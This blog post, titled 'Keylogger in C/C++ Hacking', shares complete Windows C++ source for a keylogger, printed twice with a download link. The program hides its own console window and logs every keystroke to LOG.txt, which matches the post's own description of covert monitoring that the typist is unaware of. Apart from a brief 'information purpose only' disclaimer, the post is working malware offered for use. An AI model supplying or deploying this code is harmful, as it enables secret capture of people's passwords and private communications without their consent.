Keylogger in C/C++ Hacking by Rajesh Kumar Sahanee - January 26, 2016April 15, 202022 Post Views: 19,274 Hello Friends, Some of you may be interested in Hacking, So Today I am going to share code related to hacking which is nothing but a Keylogger code. Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording (logging) the keys struck on a keyboard, typically covertly, so that the person using the keyboard is unaware that their actions are being monitored. Keylogger.cpp C++ #include <iostream> #include <windows.h> #include <winuser.h> using namespace std; int Save (int key_stroke, char *file); void Stealth(); int main() { Stealth(); char i; while (1) { for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) Save(i, "LOG.txt"); } } system("PAUSE"); return 0; } /* * ********************************** */ int Save (int key_stroke, char *file) { if ((key_stroke == 1) || (key_stroke == 2)) return 0; FILE * OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); cout << key_stroke << endl; if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n"); else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " "); else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "[TAB]"); else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); else if (key_stroke == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "[END]"); else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "[HOME]"); else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "[LEFT]"); else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "[UP]"); else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "[DOWN]"); else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", "."); else fprintf (OUTPUT_FILE, "%s", &key_stroke); fclose(OUTPUT_FILE); return 0; } /* * ********************************** */ void Stealth() { HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth, 0); } 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677 #include <iostream> #include <windows.h> #include <winuser.h> using namespace std; int Save (int key_stroke, char *file);void Stealth(); int main() { Stealth(); char i; while (1) { for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) Save(i, "LOG.txt"); } } system("PAUSE"); return 0;} /* * ********************************** */ int Save (int key_stroke, char *file) { if ((key_stroke == 1) || (key_stroke == 2)) return 0; FILE * OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); cout << key_stroke << endl; if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n"); else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " "); else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "[TAB]"); else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); else if (key_stroke == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "[END]"); else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "[HOME]"); else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "[LEFT]"); else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "[UP]"); else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "[DOWN]"); else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", "."); else fprintf (OUTPUT_FILE, "%s", &key_stroke); fclose(OUTPUT_FILE); return 0;} /* * ********************************** */ void Stealth() { HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth, 0);} Output Download Code Keylogger in C/C++ 1 file(s) 0.69 KB Download Reference https://en.wikipedia.org/wiki/Keystroke_logging Note: This is for information purpose only, please don’t use to harm anyone Thanks
